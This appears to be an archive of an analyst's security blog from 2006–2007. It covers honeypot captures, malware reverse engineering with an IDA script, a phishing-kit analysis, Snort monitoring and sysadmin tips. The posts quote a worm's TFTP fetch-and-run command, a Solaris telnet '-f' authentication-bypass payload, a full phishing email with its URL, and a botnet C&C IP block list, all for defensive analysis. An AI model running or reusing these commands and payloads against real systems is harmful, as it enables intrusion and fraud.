0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:31.381793 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:32.034636 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:36.380831 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
and...

20:54:15.416648 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.0.1.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 b94b c0a8 0022 E.....@.@..K..."
0x0010: c0a8 0001 8004 0045 001a 776e 0001 6833 .......E..wn..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:54:15.417055 IP (tos 0x0, ttl 127, id 15084, offset 0, flags [none], proto: UDP (17), length: 47) 192.168.0.1.1469 > 192.168.0.34.32772: [udp sum ok] UDP, length 19
0x0000: 4500 002f 3aec 0000 7f11 7f5e c0a8 0001 E../:......^....
0x0010: c0a8 0022 05bd 8004 001b b78b 0005 0001 ..."............
0x0020: 4669 6c65 206e 6f74 2066 6f75 6e64 00 File.not.found.
20:54:19.865122 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.0.1.69: [udp sum ok] 18 RRQ "h3110.411" octet

Well, I see a "h3110.411" which is "Hello All" in leet (1337) speak. Is someone messing with me? Lets look at the traffic right before the TFTP GET using grep with the "B" flag:

[eon@localhost honeytrap]$ cat honeytrap.log | grep -B 3 TFTP
....
--
[2007-10-16 20:56:23] * 5554 2015 bytes attack string from 202.211.93.182:3698.
[2007-10-16 20:56:23] 8967 Connection from 58.91.139.171:1156 accepted.
[2007-10-16 20:56:23] * 8967 68 bytes attack string from 202.211.93.182:1156.
[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:23] TFTP download error - Read Request failed.
--
[2007-10-16 20:56:27] * 1023 2015 bytes attack string from 202.211.93.182:1714.
[2007-10-16 20:56:28] 8967 Connection from 58.91.139.171:2912 accepted.
[2007-10-16 20:56:28] * 8967 68 bytes attack string from 202.211.93.182:2912.
[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:28] TFTP download error - Read Request failed.
--
[2007-10-16 20:56:36] * 445 4205 bytes attack string from 58.91.139.171:3382.
[2007-10-16 20:56:37] 8967 Connection from 58.91.139.171:2695 accepted.
[2007-10-16 20:56:37] * 8967 67 bytes attack string from 202.211.93.182:2695.
[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:37] TFTP download error - Read Request failed.

Looks like a connection attempt to port 8967 before the TFTP request. Lets look:

20:54:15.414621 IP (tos 0x0, ttl 28, id 21675, offset 0, flags [DF], proto: TCP (6), length: 108) 58.91.139.171.1156 > 192.168.0.34.8967: P, cksum 0xdd72 (correct), 1:69(68) ack 1 win 64064
0x0000: 4500 006c 54ab 4000 1c06 8310 3a5b 8bab E..lT.@.....:[..
0x0010: c0a8 0022 0484 2307 64f6 5e86 2d61 deee ..."..#.d.^.-a..
0x0020: 5018 fa40 dd72 0000 7466 7470 202d 6920 P..@.r..tftp.-i.
0x0030: 3139 322e 3136 382e 302e 3120 4745 5420 192.168.0.1.GET.
0x0040: 6833 3131 302e 3431 3120 7061 636b 6167 h3110.411.packag
0x0050: 652e 6578 6520 2620 7061 636b 6167 652e e.exe.&.package.
0x0060: 6578 6520 2620 6578 6974 0a00 exe.&.exit..

Ah, here is the culprit. An attack on port 8967 with the embedded command. This must be an internal host (windows router?) that sent its internal IP as part of the TFTP attack string. That is why it was directed to my internal IP. Using every analysts friend, Google, we do a search on "h3110.411" and "8967". This search comes up as the Dabber.B worm.

Quote from Symantec:
"This worm binds to a command shell to port 8967. Then, it uses the shell to make the infected computer download and execute the worm body using FTP. It issues the following command:
tftp -i [attacker's IP] GET h3110.411 package.exe & package.exe & exit "

So here we have it, mystery solved. If this had been a production system and not a honeypot, this would have been a sure sign of infection.

IDA Pro Foo

2007-09-26T16:48:00.000-07:00

Since I am on a roll with blogging, I will post some of my thoughts and work with reverse engineering. I have been doing RE seriously for the past year, and I really love doing it, however it is time consuming and a bit mind numbing :-). While working on some malware I came across a section of code that used a simple encryption routine where the encrypted string was passed byte for byte through this engine. Each byte was broken into a high order and low order nibble and these nibbles were reversed revealing the decoded binary equivelent of the ASCII character. I came across many specimens of malware that used this, so I wrote an IDA Pro script (IDC) to decode these strings for me.

Decryption Subroutine:

 subDecrypt

 .text:00403F21 014                 mov     ecx, [ebp+var_C_Arg1] ; start

.text:00403F24 014                 mov     dl, [ecx]

.text:00403F26 014                 mov     byte ptr [ebp+var_4], dl

.text:00403F29 014                 mov     eax, [ebp+var_4]

.text:00403F2C 014                 and     eax, 0FFh

.text:00403F31 014                 shl     eax, 4

.text:00403F34 014                 mov     byte ptr [ebp+var_8], al ; Lower 4 Bits

.text:00403F37 014                 mov     ecx, [ebp+var_4]

.text:00403F3A 014                 and     ecx, 0FFh

.text:00403F40 014                 sar     ecx, 4

.text:00403F43 014                 mov     byte ptr [ebp+var_4], cl ; Upper 4 Bits

.text:00403F46 014                 mov     edx, [ebp+var_4]

.text:00403F49 014                 and     edx, 0FFh

.text:00403F4F 014                 mov     eax, [ebp+var_8]

.text:00403F52 014                 and     eax, 0FFh

.text:00403F57 014                 or      edx, eax                ;Swap bits via OR

.text:00403F59 014                 mov     byte ptr [ebp+var_4], dl

.text:00403F5C 014                 mov     ecx, [ebp+var_10_Arg2]

.text:00403F5F 014                 mov     dl, byte ptr [ebp+var_4]

.text:00403F62 014                 mov     [ecx], dl       ; dl contains the patched byte

.text:00403F64 014                 mov     eax, [ebp+var_C_Arg1]

Here I have broken down and commented the disassembly showing the decryption routine. This should be pretty trivial to script so I don’t have to go byte for byte with a calculator and ASCII table.

DC script for swapping the low order nibble and the high order nibble of a byte
Uncomment one, or both of the functions at the bottom of the script
--Message() will just print the decoded strings to the messages window but will not patch the DB
--PatchByte() is self explanatory
Script by Chris Sia eon.bass@gmail.com
#include
static revbyte(void)
auto start, end, ptr, X, Y, Z;
start = SelStart();

end = SelEnd();

end = end - 1;

Message("Reversing Byte Order\n");
for (ptr = start; ptr <= end; ptr++)

X = Byte(ptr);

Y = Byte(ptr);
{

X = (X & 0xFF);

X = X << 4;

{

Y = (Y & 0xFF);

Y = Y >> 4;

Z = (X | Y);

/* Uncomment below to enable decoded strings to be printed in Messages Window */
Message(Z);

/* Uncomment below to enable swapped bytes to be patched back to the DB */
PatchByte(ptr, Z);
}

}

This script can send the decrypted ASCII to the messages window in IDA, or actually patch the byte in the disassembly.

To use, highlight the data:

Then open the File/IDC command...and run revbyte().

The highlighted data now shows the decrypted strings. The beginning of a URL "http://20" is clearly visible.

DHS Slams Unisys

2007-09-24T05:47:00.000-07:00

I read an interesting article today:
http://www.washingtonpost.com/wp-dyn/content/article/2007/09/23/AR2007092301471.html?referrer=emailarticle

This really hit home because a little over a year ago I was consistently called by Unisys and its sub-contractors to work there. At the time both myself and my friends knew this contract was a disaster, however even I didn't see this coming.

I feel that this highlights two failures. One, the contractor not taking the contract seriously and two, the government agency not fully knowing what it's threats really are. The main problem here is the blind, hiring the ignorant. Unisys is not fully to blame here, they have a long standing reputation of achieving the mediocre on their contracts, and DHS should have taken this into account, but they didn't. They most likely picked the contract that came in the cheapest, and that is what they got.

I hope this incident leads to a couple of things. Contractors taking the tasking of protecting an agencies IT assets more seriously, basing success on reality rather than on paper and Government agencies understanding what they are up against, and selecting contractors based on performance rather than $$.

SWF Phishing

2007-06-01T09:27:00.000-07:00

The other day a phishing email was forwarded to me for analysis. I figured it would be a good exercise and a little bit of fun to decode the phisher’s methods. First the email was sent as an account verification.

***********************************************

---------- Forwarded message ----------
From: National Credit Union Administration
Date: May 28, 2007 4:30 AM
Subject: NCUA Account Review Department !
To:

Account Info Verification

Dear FCU holder account,

As part of our security measures, we regularly screen activity in Federal Credit Unions (FCU) network.
We recently noticed the following issue on your account: A recent review of your account determined that we require some additional information from you in order to provide you with secure service. Case ID Number: PP-065-617-349 For your protection, we have limited access to your account until additional security measures can be completed. We apologize for any inconvenience this may cause. Please log in to your FCU account to restore your access as soon as possible.

You must click the link below and fill in the form on the following page to complete the verification process.

Click here to update your account
Link = “http://host106-213-static.49-88-b.business.telecomitalia.it/icons/nfl/ncuaclients.html”

In accordance with NCUA User Agreement, your account access will remain limited until the issue has been resolved. Unfortunately, if access to your account remains limited for an extended period of time, it may result in further limitations or eventual account closure. We encourage you to log in to your FCU account as soon as possible to help avoid this. We thank you for your prompt attention to this matter. Please understand that this is a security measure intended to help protect you and your account.

We apologize for any inconvenience.

*************************************************

Obviously this link is bad. Lets see what lies in “ncuaclients.html”.

#wget http://host106-213-static.49-88-b.business.telecomitalia.it/icons/nfl/ncuaclients.html

# strings ncuaclients.html


html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
head>
meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
title>National Union Credit Administration - Security Form
/head>
body bgcolor="#ffffff">
!--url's used in the movie-->
a href="http://www.ncua.gov/index.html">
a href="http://search.ncua.gov/">
a href="http://www.ncua.gov/privacy.html">
a href="Http://www.ncua.gov/siteoutline.html">
a href="http://www.ncua.gov/AboutNcua/ncua_directory.html">
a href="http://www.ncua.gov/AboutNCUA/Index.htm">
a href="http://www.ncua.gov/NCUABoard/index.htm">
a href="http://www.accessacrossamerica.gov/">
a href="http://www.ncua.gov/FinancialEducation/index.htm">
a href="http://www.ncua.gov/Express/Index.htm">
a href="http://www.ncua.gov/data/FOMIA/NCUAgovLink.htm">
a href="http://www.ncua.gov/IndexNCUSIFQuery.htm">
a href="http://www.ncua.gov/IndexCorpQuery.htm">
a href="http://www.ncua.gov/data/IndexDownloadData.htm">
a href="http://www.ncua.gov/administrative_orders/Index.htm">
a href="http://www.ncua.gov/ALManagementInvest/Index.htm">
a href="http://www.ncua.gov/AssetMgmtCent/Index.htm">
a href="http://www.ncua.gov/CLF/index.htm">
a href="http://www.ncua.gov/CorporateCU/index.htm">
……(removed)…….
a href="http://webapps.ncua.gov/customquery/">
a href="http://www.ncua.gov/RSS/WhatIsRSS.htm">
!--text used in the movie-->
!--
* First Name :
* Last Name :
* Date of Birth :
* Mother Maiden Name :
* Address :
* City :
* State :
* Phone Number :
* Bank Name :
* Credit/Debit Card Number :
* Expiration Date :
* Cvv :
* Social Security Number :
* PIN:
E-mail Address:
* Denotes required field
!-- saved from url=(0013)about:internet -->
….removed…..
param name="movie" value="ncuaclients.swf" />

It looks like the page is pulling data right from www.ncua.gov and using a file called “ncuaclients.swf”. The HTML page calls the SWF file which presents the user with a series of forms which the user is prompted to enter personal data. After pulling down the SWF file I installed a group of SWF utilities via the FreeBSD ports system called “swftools”. Included in these are “swfstrings” and “swfdump”. Suspecting that the SWF file is the culprit and the attacker would be using a POST method to obtain the data I used:

#swfdump -atpd ncuaclients.swf | grep POST”

And the following ouput was produced:

…..(removed…..
String:"Washington" String:"West " String:"Wisconsin" String:"Wyoming" String:"LoadVars" String:"this" String:"submitBtn" String:"onRelease" String:"" String:"alert_txt" String:"Please complete all fields before submitting form." String:"sendForm"
( 13 bytes) action: Push Lookup:47 ("POST") Lookup:48 ("_self") Lookup:49 ("done.php") int:3 Lookup:0 ("gatherForm")
-=> 5f 74 78 74 00 50 4f 53 54 00 5f 73 65 6c 66 00 _txt.POST._self.

Here we can see a POST method to a document on the local server named done.php. It is in this PHP file that the attacker stores their phished information.

Snort Stats

2007-05-30T08:57:00.000-07:00

While spending my time as an IDS analyst, one of the major issues we had was insuring that the IDS sensors were seeing traffic, or were seeing the right amount of traffic. I currently do not do full time IDS anymore, but I still have that problem in the back of my mind. This led me to start experimenting with the timestats option in Snort. You can enable this at compile time with the "--enable-timestats" switch.

By default it dumps Snort's hourly stats to the console. To keep all the stats in an archival state, I send all Snort output to a file I call "stats" in my Snort log directory. I do this at the command line as I am only running Snort on my home system.

./snort -c ../etc/snort.conf -l /snort -i fxp1 -X -m 022 >& /log/snort/stats

This process works well for my home net however, on a production box this would be in a startup script and the output could be sent to some sort of database.

Every hour Snort will log its stats to the file. This can then be viewed by the analyst to ensure that there are no deviations in traffic visibility.

# tail -n 23 stats
Hourly Statistics Report

Packet analysis time averages:

Packets Received per hour is: 12763
Packets Received per minute is: 212
Packets Received per second is: 3
Packets Dropped in the last hour: 0

Packet Breakdown by Protocol:

TCP: 9206 (72.136%)
UDP: 751 (5.885%)
ICMP: 653 (5.117%)
ARP: 364 (2.852%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
ETHLOOP: 0 (0.000%)
IPX: 0 (0.000%)
FRAG: 0 (0.000%)
OTHER: 1788 (14.010%) DISCARD: 0 (0.000%)

As you can see the majority of this traffic is TCP and a fair amount of packets were seen in the last hour in total(Remember this is a home network!). If my span port were mis-configured or removed, this would be reflected in the above totals helping the analyst to diagnose the problem.

Don't Use Telnet!

2007-03-01T14:21:00.000-08:00

Today I got my first hit of the Solaris exploit (Worm?) on my honeypot. Both my Bleeding rules and my normal Snort registered rules fired on this single inbound packet.

# less alert | grep -A 4 -B 2 192.18.17.206
[**] [1:2003411:5] BLEEDING-EDGE EXPLOIT Solaris telnet USER environment vuln Attack inbound [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
03/01-13:44:29.556771 192.18.17.206:1134 -> 192.168.0.34:23
TCP TTL:46 TOS:0x0 ID:52835 IpLen:20 DgmLen:86 DF
***AP*** Seq: 0xED89493C Ack: 0x9D57147C Win: 0xC4E0 TcpLen: 20
[Xref => http://isc.sans.org/diary.html?n&storyid=2220][Xref => http://riosec.com/solaris-telnet-0-day]

[**] [1:10136:3] TELNET Solaris login environment variable authentication bypass attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
03/01-13:44:29.556771 192.18.17.206:1134 -> 192.168.0.34:23
TCP TTL:46 TOS:0x0 ID:52835 IpLen:20 DgmLen:86 DF
***AP*** Seq: 0xED89493C Ack: 0x9D57147C Win: 0xC4E0 TcpLen: 20
[Xref => http://www.securityfocus.com/bid/22512]

The below packet is the culprit:

# tcpdump -vvnnXs 1514 -r ../snort/snort.log.1172706692 port 23 | less
reading from file ../snort/snort.log.1172706692, link-type EN10MB (Ethernet)
13:44:29.556771 IP (tos 0x0, ttl 46, id 52835, offset 0, flags [DF], proto: TCP (6), length: 86) 192.18.17.206.1134 > 192.168.0.34.23: P, cksum 0x0fed (correct), 3985197372
:3985197418(46) ack 2639729788 win 50400 [telnet WILL NAWS, SB NAWS IS 0x50 0 0x19 SE, WILL TERMINAL TYPE, SB TERMINAL TYPE IS 0x76 0x74 0x31 0x30 0x30 SE, WILL NEW-ENVIRON,
SB NEW-ENVIRON IS 0 0x55 0x53 0x45 0x52 0x1 0x2d 0x66 0x61 0x64 0x6d SE]
0x0000: 4500 0056 ce63 4000 2e06 eb93 c012 11ce E..V.c@.........
0x0010: c0a8 0022 046e 0017 ed89 493c 9d57 147c ...".n....I<.W.| 0x0020: 5018 c4e0 0fed 0000 fffb 1fff fa1f 0050 P..............P 0x0030: 0019 fff0 fffb 18ff fa18 0076 7431 3030 ...........vt100 0x0040: fff0 fffb 27ff fa27 0000 5553 4552 012d ....'..'..USER.-
0x0050: 6661 646d fff0 fadm..

And flow data:

# tcpflow -cr honeytrap_00023_20070301125318 port 23
192.018.017.206.01134-192.168.000.034.00023: ...
192.018.017.206.01134-192.168.000.034.00023: .......P...........vt100....'..'..USER.-fadm..
192.168.000.034.00023-192.018.017.206.01134:

192.168.000.034.00023-192.018.017.206.01134:

It is quite easy to see the -f and the login "adm". This is consistent with MITRE's description:

"The telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts"

Ref: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0882

Bot C&C

2007-02-22T20:07:00.000-08:00

The other day I browsed to a site hosting unknown malware on my home VM host as part of an investigation. Fortunately for me I also run Snort and tshark on my home network 24/7 to fully understand and capture everything that traverses my home systems. This came in very handy the other day, and I thought I would document my network investigation procedure for others to use and follow. Let me preface this with the fact that I subscribe fully to Richard Bejtlich's NSM principals. I capture both alert data and full content data for intrusion analysis. The alert data is Snort w/ both registered and bleeding rules, and the full content data is tshark running some simple BPF's at the command line logging to a "ring buffer" of ten 100M files.

This all started when I was investigating a suspicious website in my VM system. After browsing to the site, I immediately went to my IDS data to determine what happened. Snort gave me the following alert:

1 [**] [1:2404000:602] BLEEDING-EDGE DROP Known Bot C&C Server Traffic (group 1) [**]

This was promising. Pulling the full alert from snort an analyst can see the connection attempt to 6667 on host 161.53.178.240:

# cat alert | grep -A 5 "C&C"
[**] [1:2404000:602] BLEEDING-EDGE DROP Known Bot C&C Server Traffic (group 1) [**]
[Classification: A Network Trojan was detected] [Priority: 1]
02/21-10:17:54.366236 192.168.0.31:2253 -> 161.53.178.240:6667
TCP TTL:128 TOS:0x0 ID:13198 IpLen:20 DgmLen:48 DF
******S* Seq: 0xCA53141F Ack: 0x0 Win: 0xFC00 TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

A quick look at the rule shows that this IP is included in the bleeding botcc "DROP" rules:

alert ip $HOME_NET any -> [121.6.201.216,125.250.188.204,130.233.48.242,130.243.52.250,132.205.87.223,
140.115.182.242,140.123.227.100,140.131.142.236,142.231.68.25,143.225.92.103,
143.248.138.213,143.248.4.136,143.248.52.33,143.248.62.116,149.9.1.16,
151.1.191.184,154.20.114.95,161.184.175.95,161.53.178.240,163.19.35.2,
163.20.97.131,163.25.97.83,168.187.115.136,168.187.62.190,172.212.55.194,
190.49.108.103,192.116.231.44,193.109.122.67,193.109.122.77,193.13.137.194,
193.163.220.3,193.164.131.50,194.109.11.65,194.109.129.220,194.109.64.131,
194.14.236.50,194.146.226.245,194.159.164.195,194.242.45.151,194.68.45.50,
195.101.94.137,195.111.64.195,195.144.12.5,195.225.204.134,195.226.51.77,
195.47.220.2,195.50.191.12,195.68.206.250,195.68.221.221,200.31.43.33,
200.80.43.9,200.95.144.26,201.45.127.125,202.133.108.11,202.134.0.13,
202.143.132.82,202.222.19.53,202.54.38.12,202.71.144.176,
202.8.87.197] any (msg:"BLEEDING-EDGE DROP Known Bot C&C Traffic (group 1) - BLOCKING SOURCE"; reference:url,www.shadowserver.org; threshold: type limit, track by_src, seconds 3600, count 1; classtype:trojan-activity; sid:2405000; rev:602; fwsam: dst, 30 days;)

I immediately went to my full content data. Noticing from the alert, this fired at 02/21-10:17:54 I searched through my "ring buffer" capture files and found honeytrap_00013_20070221091354. This file states that the capture started at approx. 9:13 on 02.21 2007. Parsing the data with capinfos I got the full start and stop time for this file:

#capinfos honeytrap_00013_20070221091354
File name: honeytrap_00013_20070221091354
File type: Wireshark/tcpdump/... - libpcap
Number of packets: 259439
File size: 102401487 bytes
Data size: 98250439 bytes
Capture duration: 23117.468285 seconds
Start time: Wed Feb 21 09:13:54 2007
End time: Wed Feb 21 15:39:12 2007
Data rate: 4250.05 bytes/s
Data rate: 34000.41 bits/s
Average packet size: 378.70 bytes

The target time frame for the alert falls within this capture file. To find out what type of connection was made from this malware I parsed the file with tcpdump:

# tcpdump -vvnnXs 1514 -r honeytrap_00013_20070221091354 host 161.53.178.240
reading from file honeytrap_00013_20070221091354, link-type EN10MB (Ethernet)
10:17:54.366236 IP (tos 0x0, ttl 128, id 13198, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 > 161.53.178.240.6667: S, cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512
0x0000: 4500 0030 338e 4000 8006 b24c c0a8 001f E..03.@....L....
0x0010: a135 b2f0 08cd 1a0b ca53 141f 0000 0000 .5.......S......
0x0020: 7002 fc00 70e6 0000 0204 05b4 0101 0402 p...p...........
10:17:57.287574 IP (tos 0x0, ttl 128, id 13283, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 > 161.53.178.240.6667: S, cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512
0x0000: 4500 0030 33e3 4000 8006 b1f7 c0a8 001f E..03.@.........
0x0010: a135 b2f0 08cd 1a0b ca53 141f 0000 0000 .5.......S......
0x0020: 7002 fc00 70e6 0000 0204 05b4 0101 0402 p...p...........
10:18:03.306453 IP (tos 0x0, ttl 128, id 13383, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 > 161.53.178.240.6667: S, cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512
0x0000: 4500 0030 3447 4000 8006 b193 c0a8 001f E..04G@.........
0x0010: a135 b2f0 08cd 1a0b ca53 141f 0000 0000 .5.......S......
0x0020: 7002 fc00 70e6 0000 0204 05b4 0101 0402 p...p...........

From this output one can determine that the infected host only attempted outbound connections to the IRC server but received no responses as this is full content data. From the analysts point of view the bleeding snort rule sets discovered the C&C connection attempt without any data being transferred based soly on the IP. The full content data backed up the fact that the host was compromised and allows the analysts to determine that no data was exfiltrated. From this point the system can be taken off line and restored with known good media.

I used this scenario to illustrate how simply collecting just alert and full packet capture data allows security analysts to fully understand mostly everything that happens on their network.

Great Success!!!!!!

2007-01-22T19:08:00.000-08:00

Ok I know I haven’t been posting much lately about packets I have captured but it not like I have built a fan base yet. I have succeeded in one of my goals however, using honeytrap to capture packets for the security community. Recently port 20000 was reported as on the rise by Dshield and SANS had a call for packets. Being that honeytrap is listening on all ports all of the time I was able to filter all my pcap data for that port and submit full packet captures from established sessions. I know it’s not much, but it is a step in the direction I was hoping to take with this project. Hopefully I can continue to keep on top of the SANS postings and keep submitting packets.

HONEYTRAP Gotcha!

2007-01-02T13:28:00.000-08:00

I decided to install honeytrap on a Linux laptop and open it up to the world via the DMZ option on my D-Link router. I started with Fedora Core 5 running on a 1Ghz Sony Vaio laptop with 256 Mbs of RAM. I started by locking down the host OS.

root@localhost# chkconfig –list | awk ‘/3:on/ {print $1}’

root@localhost# chkconfig service name off ; turn off service for run level 3

root@localhost# service service name stop ; stop the service

This first command will show you a list of services running on the host. To determine which service to turn off, refer to the internet. For all my purposes, I just wanted SSH running on port 2929 so I turned off any service that listens on any other port.

The first thing I did was to download honeytrap from “http://honeytrap.sourceforge.net/start.html” and compile the sources. I decided to compile with the pcap monitoring switch, however after running it and researching on the web, I found out that with the pcap option honeytrap drops the first packet and only establishes a socket with the second packet on that same port. As much of the activity I see on my FIOS connection is one off scanning and probing, this option was surely not for me.

To alleviate this problem I compiled honeytrap with the IPQ option. This uses iptables to send the initial SYN to honeytrap therefore dynamically creating a socket with the first connection attempt. I did this with the following configure switches:

root@localhost# ./configure –with-ipq-mon

I immediately got the error:

checking for libipq.h... no

I attempted to pull down the iptables sources, however these did not include “libipq.h”. After some searching I found on rpmfind, “iptables-devel-1.2.9-10.rpm”. installing this I got a dependency error for “iptables-1.2.9”. Not too discouraged, I downloaded and compiled iptables-1.2.9 and installed the devel RPM with the –nodeps switch. After installing these dependencies, I issued a:

root@localhost# find / -name libipq.h

/usr/include/libipq.h

Halleluiah!!

Now I move back to the honeytrap directory and issue:

root@localhost# ./make clean

root@localhost# ./configure –with-ipq-mon

root@localhost# make

root@localhost# make install

Now to make sure it ignored SSH port 2929, appended:

include = /etc/honeytrap/ports.conf

In the /etc/honeytrap/honeytrap.conf file and created a /etc/honeytrap/ports.conf file with the following:

port=2929,ignore

Load the IPQ module:

root@localhost# modprobe ip_queue

Issue “lsmod” command to ensure that the ip_queue module is loaded

Issue the following command to enable iptables to forward SYN’s to honeytrap:

iptables -A INPUT –i eth0 –p tcp -–syn –m state -–state NEW –j QUEUE

Once in place I envoke honeytrap:

root@localhost# ./honeytrap –u eon –g eon –D

[2006-10-07 21:02:47] ----Trapping attacks via IPQ. ----

AT LAST!!!!!!!

This runs honeytrap with a non-root user and group and the –D flag tells honeytrap not to go into daemon mode.

On another host I have tshark runnig to capture traffic off of a switch span port:

root@localhost# tshark –w log dir -a filesize:50000 –b files:5 –i interface –f filter expression

This allows for 5 rotating 50Mb files in your log directory.

With this I can easily monitor connection attempts and capture the full payload of any inbound connection attempt to my Honeytrap.

Now I sit and wait for the interesting traffic. Being a packet monkey, I will post any interesting findings/packets to this blog.

Clearing Unallocated Space on Windows

2006-08-10T06:45:00.000-07:00

The other day I came across a very interesting tool while researching ways to clear unallocated space on a Windows machine. This process is very well documented for *nix machines using "dd" and "/dev/zero", however I was unaware of a similar process for Windows based OS's. The tool in question is included in Windows XP and is called "cipher.exe". This tool has many uses as the following output shows:

C:\Documents and Settings\Administrator>cipher /?
Displays or alters the encryption of directories [files] on NTFS partitions.

CIPHER [/E | /D] [/S:dir] [/A] [/I] [/F] [/Q] [/H] [/K] [pathname [...]]

CIPHER /W:directory

CIPHER /X[:efsfile] [filename]

/E Encrypts the specified directories. Directories will be marked
so that files added afterward will be encrypted.
/D Decrypts the specified directories. Directories will be marked
so that files added afterward will not be encrypted.
/S Performs the specified operation on directories in the given
directory and all subdirectories.
/A Operation for files as well as directories. The encrypted file
could become decrypted when it is modified if the parent directory
is not encrypted. It is recommended that you encrypt the file and
the parent directory.
/I Continues performing the specified operation even after errors
have occurred. By default, CIPHER stops when an error is
encountered.
/F Forces the encryption operation on all specified objects, even
those which are already encrypted. Already-encrypted objects
are skipped by default.
/Q Reports only the most essential information.
/H Displays files with the hidden or system attributes. These
files are omitted by default.
/K Create new file encryption key for the user running CIPHER. If this
option is chosen, all the other options will be ignored.
/W Removes data from available unused disk space on the entire
volume. If this option is chosen, all other options are ignored.
The directory specified can be anywhere in a local volume. If it
is a mount point or points to a directory in another volume, the
data on that volume will be removed.
/X Backup EFS certificate and keys into file filename. If efsfile is
provided, the current user's certificate(s) used to encrypt the
file will be backed up. Otherwise, the user's current EFS
certificate and keys will be backed up.

dir A directory path.
pathname Specifies a pattern, file or directory.
efsfile An encrypted file path.

Used without parameters, CIPHER displays the encryption state of
the current directory and any files it contains. You may use multiple
directory names and wildcards. You must put spaces between multiple
parameters.

Now the point of interest to me lies in the "/W" option. This if specified, will clear data on any unused portions of the disk specified. I figured I would give this a try on a Windows 2000 Pro laptop.

C:\Documents and Settings\Administrator>cipher /W:c:To remove as much data as possible, please close all other applications while
running CIPHER /W.
Writing 0x00
................................................................................
....................
Writing 0xFF
................................................................................
....................
Writing Random Numbers
................................................................................
....................

C:\Documents and Settings\Administrator>

It's done, and it was painless. All unallocated space on the hard drive was overwritten by zeros, then ones and then random numbers. On a drive that had 4 gigs of free space, it took less than 20 minutes. Now if anyone gets a hold of this hard drive, it would not be possible to recover deleted files. This type of action can be scheduled on windows boxes to be run periodically. In an age of mobile computing, this type of extra security measure can be invaluable.

FreeBSD Customized Shell Prompt

2006-06-30T19:11:00.000-07:00

This posting is to track my progress with customizing my shell prompt. From time to time I like to delve into some aspect of my computer and do as much with it as I can. My favorite OS is FreeBSD, and as such I find myself using the C Shell quite often. I also spend a lot of time in the command line. This being said, I have had the need to know a little about my environment while I work. Prompted by a very lavish and colorful BASH prompt from a friend of mine, I set out to customize my C Shell to fit my personal needs.

I started by figuring out what information I wanted in my prompt. The list looked something like this:

1-current user and host
2-date
3-time
4-current directory

On top of this, based on my friends prompt, I wanted this information above my cursor so as not to waste space for long directories. I have seen prompts like this on many flavors of Linux, however FreeBSD does not come like this by default.

My first attempt looked something like this:

%vi .cshrc

....
set prompt = '%n@%m:%/%# '
....

which looked something like this: eon@ZETA:/home/eon>

Next I added a Grey color to my prompt:

eon@Zeta:/home/eon>vi .cshrc
....
set prompt = '%{\033[37m%}%n@%m:%/%# '
....

Next I applied these changes to my root account, making the prompt red. Note: This line must be added to the end of the .cshrc script.

set prompt = '%{\033[31m%}%n@%m:%/%# '

Making my regular user Grey and my root account red is an easy way to determine what user I am. On many occasions I have been on my BSD laptop and sshed into my home box and issued a "init 0" command to shut my Laptop down inadvertently bringing down my server at home. Smart ay! This way I make my root user on my home box red so I know when I am sshed in as opposed to local. :)

Next I set out to complete my prompt. To make a log posting short, this is what I ended up with in my ".cshrc" script:

set prompt = '\n%{\033[37m%}%n@%m:%/\t[%D-%w-%y %t]\n%# '

This adds a new line to separate the previous output, color, user@host, current directory, and tabs to a Day-Month-Year Time output, and newlines to the prompt. It looks something like this:

eon@ZETA:/home/eon [30-Jun-06 10:42pm]
>

or as root:

root@ZETA:/root [30-Jun-06 10:43pm]
#

